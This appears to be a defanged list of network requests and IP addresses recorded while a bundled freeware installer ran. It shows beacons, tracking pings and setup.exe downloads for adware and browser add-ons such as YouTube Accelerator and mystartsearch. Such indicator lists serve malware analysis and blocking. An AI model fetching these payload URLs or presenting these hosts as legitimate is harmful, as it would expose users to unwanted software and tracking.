hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1422581372	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJaYa2XOOQuZBQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg=	54.230.202.158
hxxp://resources.crossrider.com/apps/65743/resources/meta/0?r=0.9123192366487753	69.16.175.42
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.19766297172187003	78.138.127.15
hxxp://www.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbK12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy	54.230.202.158
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.43.139.27
hxxp://www.googleadservices.com/pagead/conversion.js	173.194.113.205
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.43.139.27
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32VTErbptxeFn8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YM8Lp0Bjzny5rNm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.158
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581330&SBPIDS=1
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=M5cPy8d51cMu52aJyrcE1Imqj5MhqmpXqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE0XZUACP9tPHYCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATEOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3rafyBNHzK365AtX799FH7yyT3M6a2fcjEV4MxlenebXXYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk OKYFuT/lA02B7vQbA2v4xLnM9hj6m8lSdjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoEKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLkaF8dOqaOvPVi33qPwefc AZSpRiXLg4A==	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.47959597492764183	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqFIOi3yA1xYQYghywxFINBPkQNNlxZxdK5J4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhgLIznAwqidPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	54.230.202.158
hxxp://d2gv7sxh1xary4.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.202.13
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VhbLQkgupc9u/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ=	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.44462802650747585	78.138.127.15
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	88.221.132.175
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.43.139.27
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1422581381671&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1	173.194.113.205
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Ve0/HVt76ZjAUAvnawhe3hZ317vI6orBfXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A==	54.230.202.158
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1422581370	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N X1/ea0HoOzFxDz6oj2mAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	54.230.202.158
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?82710d4c569088d3	88.221.132.207
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3oicrVemMrXWg==	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&0.4668678949141275	78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=t1D UTAmiediZHP23jXoQtIuZ0QlrV9vsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzkCHWFRKCIDkWuHFN9lRYXm3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFVDq65iJ/PSima3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAtlUQtjil7hxOYDUfOT1J72qjTxYTaKD	54.197.238.106
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=2073456363&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1068614956&cid=45237338.1422581382&tid=UA-40752970-2&_r=1&z=1407137762	173.194.113.193
hxxp://crl.globalsign.net/root.crl	108.162.232.198
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=	108.162.232.207
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1422581372	54.231.9.28
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4ORCMlh3l5QDBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2gFOqBGDQz2QUylR/HjWbOd2e5PDAg/ZO0JQd5HxgIXe7dwEpH50ejEUygQwn ymuxyQvi1UiSlerMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.158
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=043Mckb8LnjKYf/qJ5z9HztwOqvEtO32pfgKm0OEa/AyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiTfITdK7bydInc0foGk6e4/ZUJr/TCrDgTJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuRoXx06po689WLfeo/B59z4BlKlGJcuDg	54.197.238.106
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1422581370	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKSe6wB6uwHTPUd/QfilrMBAltiGSLIu3jTI/BdPpi2K8DfJqMJzaCLHcPH8e2aI0 M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemmtMU1uXBMoybSR66skE3WhQC drCF7eFih/ZYoECemlhN5Nq9bCx4Mo8BOSaWcoT1pd0pGQJZFEmvv7NOtxjUIEzPoKLI8Bo7LchnHKxLMLp9cMTh3UzKaHi8lJ8ZZ64jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A==	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemFwnxoOIHE6aTQd05qfPsYbPiCC4paVhdDohIbj8Q6VaW5tTYgKyNaPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o=	54.230.202.158
hxxp://www.bigspeedpro.com/nero/js/crossrider/nero_crossrider_cs.js	212.7.199.181
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE	107.20.238.80
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1422581371	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN90js0 pge/oATxIUcsgQ wQ1V8jD1/9CmmiwBN87iCfPEiQPnfm1ghee7n4Z39v5CM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.158
hxxp://js.ourclientinputsrv.com/plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=1954	69.16.175.42
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/c6f36ae09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f36ae09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.13565886237683544	78.138.127.15
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEsAVnWQbAnLWDtwOqvEtO32twtWKr9kvvwicvsFwQStECv5F5wArPI/YCpHZc9ZUaELdE/AWfC9TynhRH joYH551vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxO3A6q8S07fYnNJE/WLVy5l2fwAkvrmVqVpbyP6ok5vjiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZBp67jbOSsxLskwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVaKrGQS9s2JNgCsLqF8w43han8ICeLyHga	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VFkiwkU6sVsYuLQICPnQX0SmF904v4t2D4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJqXyjeXDsJMJqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.158
hxxp://crl.verisign.com/pca3.crl	23.43.133.163
hxxp://download.filesfrog.com/software_files/freezip/9_20/FreeZip920.exe	212.7.199.182
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.230.200.153
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1780777469&utmhn=bi.bisrv.com&utmhid=1344975662&utmr=-&utmp=Installer_Init&utmht=1422581246828&utmac=UA-31676879-1&utmcc=__utma=1.1033541308.1422581247.1422581247.1422581247.1;+__utmz=1.1422581247.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=387419954&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.193
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVq4dUk9GnPsFAL52sIXt4U0qLzPw Pacn85/VVOVEM HReSOat uWfthh0D7o0cmcw5/ 5Sh8s fxc/7Yop4xTroG83Cls2ohzLGNvvJ6pkseMNM H00qEGgh75DuWJt9TK8wWTyvLp8yXsLJdxo/ZSntfB84 2wN yMkaRh3W5d5SlKONgbzzxsVHBldbLfXyM0PiCv52w9AvPIsy064P3xU2zDWyebWqHtv2oE0WIBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.202.158
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	88.221.132.175
hxxp://install.sourceapp.info/ii?alpha=KGoDSTQ6LRc6dx9wLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTRweXJKVABlQ1UzfCgVTX9WY2slNWhyARx+ajoAR3YBCVheYG5nAB1ka0JWaShod3lCZHRiBgJBKhxtVXcyaVAUNHpqIDUdFWUkNiQmdVEFIQFnEn5oPilCW3QuaVIoZgdAF1RraG4dUkwkRUFgGXV+W18CLSJSQw9rDGpbFnYzBEBhbmYgFxMaeD9FIj9jVw84CzRlLSZsaAQGbzhvVyV3C0ZHUnt7Kx8OYiYGCS9bNCgJECYoLVhLRV1COhcvdzRCDUdzZjscFlYLBQR2LHUMWj8SZ3ExaGg2CFF+bylbPDRCBQEJPnNqUl8xdxMDNV8sIh1Ob3R9DBtMPkgpRhBJKwNXdzEvGTQFFyoURVQgdFEJMAh6FjdVGRV8CBxnLA0lQAtCWFh9OG4BDDx8AEkyW1tgARAQKy4=	70.186.131.141
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eFCD8T/coiffLKKeESUbyeRCMlh3l5QDmkbcHfsclGUd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2X4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF02quj iDJcwIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg=	54.230.202.158
hxxp://js.ourclientinputsrv.com/plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=2477	69.16.175.42
hxxp://dl.ourclientinputsrv.com/smt2b/all/hat/row/setup.exe_a	69.16.175.42
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.6563418337282366	78.138.127.15
hxxp://install.sourceapp.info/if?alpha=KGoDSTR0NAoRfxJvLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTR4bHIqGhM0HSxsIHJuFT0ICTJ+cjkuE0UuM2xAczlcBAAONi46QV04YxQAPV4uLAkbMCIORENFcUklCyprLgcDdnhpDQsdIGVAVSx5KBxOYVR0dCEzaHcTTz1hEwlmOTtnF1RranIfCjwaT11rBW1rA19jcGFURQw+Qy4NI3ZhL0xxb2A8FhQCeCYMbC1pUg9xU3oVZWk8I0ZbMWExB2kkIBQRTX1seAYAb20cEzlEKzYYSWV1bEVJCm5FPh5mdD0BTjInL35XQlA3AgljJ2EYOT8DNixkbnpuYEYxejoCJVcaVUVeazctARk8eQBdPRonYQkeI3l1BgBJKB57Fic5bFIfJy01ek9IRGlLVTNzMRFaNRBnE1pxOzRQBHhYEhFkdgsUZ1Jqan4OAyEeBmBMOVM4axYmL2xySQ5xTzgieU08JHxJ	70.186.131.141
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf76FH7kvYlvRqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdkXULeZU16opFpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI=	54.230.202.158
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	88.221.132.175
